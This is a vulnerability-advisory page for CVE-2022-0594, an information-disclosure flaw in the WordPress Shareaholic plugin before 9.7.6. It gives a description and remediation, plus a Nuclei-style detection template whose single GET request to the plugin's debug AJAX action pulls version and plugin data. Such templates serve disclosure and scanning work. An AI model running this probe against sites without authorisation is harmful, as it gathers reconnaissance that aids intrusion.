CVE-2022-0594: WordPress Shareaholic <9.7.6 - Information Disclosure

2025-08-01 WordPress Shareaholic PoC Public

Description

WordPress Shareaholic plugin prior to 9.7.6 is susceptible to information disclosure. The plugin does not have proper authorization check in one of the AJAX actions, available to both unauthenticated (before 9.7.5) and authenticated (in 9.7.5) users, allowing them to possibly obtain sensitive information such as active plugins and different versions (PHP, cURL, WP, etc.).

PoC

id: CVE-2022-0594

info:
  name: WordPress Shareaholic <9.7.6 - Information Disclosure
  author: atomiczsec
  severity: medium
  description: WordPress Shareaholic plugin prior to 9.7.6 is susceptible to information disclosure. The plugin does not have proper authorization check in one of the AJAX actions, available to both unauthenticated (before 9.7.5) and authenticated (in 9.7.5) users, allowing them to possibly obtain sensitive information such as active plugins and different versions (PHP, cURL, WP, etc.).
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: |
    Update the Shareaholic plugin to version 9.7.6 or later to fix the information disclosure vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4de9451e-2c8d-4d99-a255-b027466d29b1
    - https://wordpress.org/plugins/shareaholic/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0594
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0594
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-0594
    cwe-id: CWE-863
    epss-score: 0.02013
    epss-percentile: 0.79895
    cpe: cpe:2.3:a:shareaholic:shareaholic:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: shareaholic
    product: shareaholic
    framework: wordpress
  tags: cve,cve2022,wordpress,wp,wp-plugin,exposure,wpscan,shareaholic,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=shareaholic_debug_info"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'plugin_version'
          - 'shareaholic_server_reachable'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 490a0046304402207b677fba5d9d08b10174e3b309adf763fa0631196f293d294f5993b2a06bbc9f02201ee037d0f624aed14e64b07f91798e5ff84ef9fc94ecb653bf5a1dc86580c046:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities